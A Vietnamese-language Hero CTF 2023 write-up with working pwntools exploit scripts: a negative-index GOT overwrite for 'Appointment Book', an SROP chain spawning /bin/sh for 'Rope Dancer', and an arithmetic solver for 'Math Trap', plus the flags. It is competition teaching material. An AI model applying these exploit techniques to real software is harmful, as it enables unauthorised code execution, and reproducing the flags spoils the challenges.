# (writeup) Hero CTF 2023
## PWN
### Appointment Book (solved)
- check file + checksec

- check ida

- có cả hàm cho ta shell nhưng bị ẩn

- ở option1 đơn giản là liệt kê ra các appointment
- ta cần khai thác ở option2

- cấp phát bộ nhớ cho biến **s** và **v4**
- có lỗi out_of_bound ở đây
- ta có thể nhập vào số âm (hiện tại chưa biết nên nhập bao bnhieu nên nhập đại -10)
- biến **v5** sẽ được gán địa chỉ của **&appointment + 16 * v2**
- rồi tới bước nhập ngày tháng năm vào biến **s**, sau đó gắn biến **v0** cho giá trị của biến **s** sau khi đi qua hàm **date_to_timestamp**

- rồi con trỏ ``*v5`` sẽ dc gán giá trị **v0**
- cuối cùng nhập thêm 1 đoạn messages về cái appointment đó
- đưa nội dung vừa nhập đó vào vị trí địa chỉ tiếp theo của **v5**
- rồi **free(s)**
- hmmm, cho hàm lấy shell, vậy sao có shell bh...
- thì idea thế này:
- - cho v5 là địa chỉ GOT nào đó để đến khi nào gặp hàm đó thực thi là có shell luôn (chọn **puts@GOT**)

> thực thi puts 1 lần nữa do vòng lặp sẽ cho shell
- - hoặc chọn **exit@GOT** khi mình chọn option3 thoát chương trình sẽ cho shell
- - hoặc chọn **free@GOT** đều được
- - giá trị v5 là hàm get shell
- - giá trị được lấy từ hàm đổi ngày sang số

- có liên quan đến UNIX timestamp
- tìm kiếm ra [link này](https://www.unixtimestamp.com/)

> 18 tháng 2 năm 1970
- vậy thì từ **appointment** đến **puts@GOT** là -12, đến **free@GOT** là -13, đến **exi@GOT** là -5
- chọn cách nào cũng dc

- lần nhập cuối cùng không quan trọng

- script:
```python
#!/usr/bin/python3
from pwn import *
exe = ELF('./appointment_book', checksec=False)
context.binary = exe
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b* create_appointment+161
b* create_appointment+367
c
''')
input()
def info(msg): return log.info(msg)
def sla(msg, data): return p.sendlineafter(msg, data)
def sa(msg, data): return p.sendafter(msg, data)
def sl(data): return p.sendline(data)
def s(data): return p.send(data)
if args.REMOTE:
p = remote('static-03.heroctf.fr',5000)
else:
p = process(exe.path)
#GDB()
sla(b"Your choice: ", b"2")
sla(b"(0-7): ", b"-12")
sla(b": ", b"1970-2-18 22:27:2") ##local
#sla(b": ", b"1970-2-18 14:27:2") ##server
system = exe.sym['debug_remote']
log.info("time: " + str(system) )
sla(b": ", b'a'*30)
p.interactive()
#Hero{Unch3ck3d_n3g4t1v3_1nd3x_1nt0_G0T_0v3wr1t3_g03s_brrrrrr}
```
>#Hero{Unch3ck3d_n3g4t1v3_1nd3x_1nt0_G0T_0v3wr1t3_g03s_brrrrrr}
---
### Rope Dancer
- check file + checksec

- check ida


> offset 16 + 8(saved rbp)

- về cơ bản thì chắc chắn sẽ làm phương pháp SYSROP
- tìm kiếm thanh ghi rax, syscall

> khum có cái nào dễ dàng cả
> đổi hướng: xài eax

> chỉ có ``xor eax, eax`` phù hợp để thiết lập thanh ghi

> xor thôi không đủ, cần cả tăng nó lên giá trị 0xf
> về syscall chắc chắn có
- phân tích ida:

- thông qua hàm **if** nhờ lần nhập đầu là 'yes\n'
- lần nhập thứ 2 yêu cầu là gmail, tức là miễn chỉ cần có byte '@' (tức là byte 0x40) là thoả mãn

>nếu không là exit chương trình
- lần nhập 3 có thể là sigreturnframe
- idea:
-- ghi '/bin/sh' vào 1 địa chỉ ghi được, đồng thời địa chỉ đó có byte '@'


>duoc lun nek kkkk
> nhưng ta cần địa chỉ đó nằm ở rbp

>thấy gadget này hợp lí hơn, chỉ cần byte ghi đè saved rbp là địa chỉ đó là được
- về cách set rax về 0xf, mình có xor_inc_ret rồi
- tức là xor về 0, inc lên 1 rồi ret
- vậy ta cần inc_ret thêm 14 lần thành 0xf=15

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./ropedancer',checksec=False)
p = process(exe.path)
# gdb.attach(p, gdbscript='''
# b*get_motivation_letter+20
# b*get_motivation_letter+22
# c
# ''')
# input()
p.sendlineafter(b'ROPedancer? ',b'yes')
syscall = 0x000000000040102f
mov_rsp_rbp_pop_rbp_ret = 0x0000000000401114
xor_eax_eax_inc_al_ret = 0x0000000000401011
inc_al_ret = 0x0000000000401013
payload = b'A'*16
payload += p64(exe.sym['motivation_letter'])
payload += p64(mov_rsp_rbp_pop_rbp_ret)
p.sendlineafter(b'contact you: ',payload)
binsh = exe.sym['motivation_letter']
frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
payload = b'/bin/sh\0'
payload += p64(xor_eax_eax_inc_al_ret)
payload += p64(inc_al_ret)*14
payload += p64(syscall)
payload += bytes(frame)
p.sendlineafter(b'hire you: ',payload)
p.interactive()
```
>Hero{1_w4nN4_b3_4_ROP3_D4nC3r_s0_b4d!!!}
---
## PROG
### Math Trap (solved)
- đây là bài tính toán đơn giản
- chỉ thấy những phép toán + - * /
- sử dụng framework pwntool để nhận chuỗi
- lồng hàm if để kiểm tra rồi tính phép toán phù hợp
- do là wu hơi trễ nên k có hình kkkk =))))
- script:
```python
#!/usr/bin/python3
from pwn import *
p = remote('static-01.heroctf.fr',8000)
p.recvuntil(b'me ?\n')
for i in range(0,100):
log.info("round: " + str(i + 1))
num1 = int(p.recvuntil(b' '),10)
log.info("num1: " + str(num1))
tinh = p.recvuntil(b' ',drop=True)
log.info("tinh: " + str(tinh))
num2 = int(p.recvline()[:-1],10)
log.info("num2: " + str(num2))
if tinh == b'+':
sum = num1 + num2
p.sendlineafter(b'=',str(sum))
if tinh == b'-':
sum = num1 - num2
p.sendlineafter(b'=',str(sum))
if tinh == b'*':
sum = num1 * num2
p.sendlineafter(b'=',str(sum))
if tinh == b'//':
sum = num1 // num2
p.sendlineafter(b'=',str(sum))
p.interactive()
#Hero{E4sy_ch4ll3ng3_bu7_tr4pp3d}
```
>Hero{E4sy_ch4ll3ng3_bu7_tr4pp3d}
---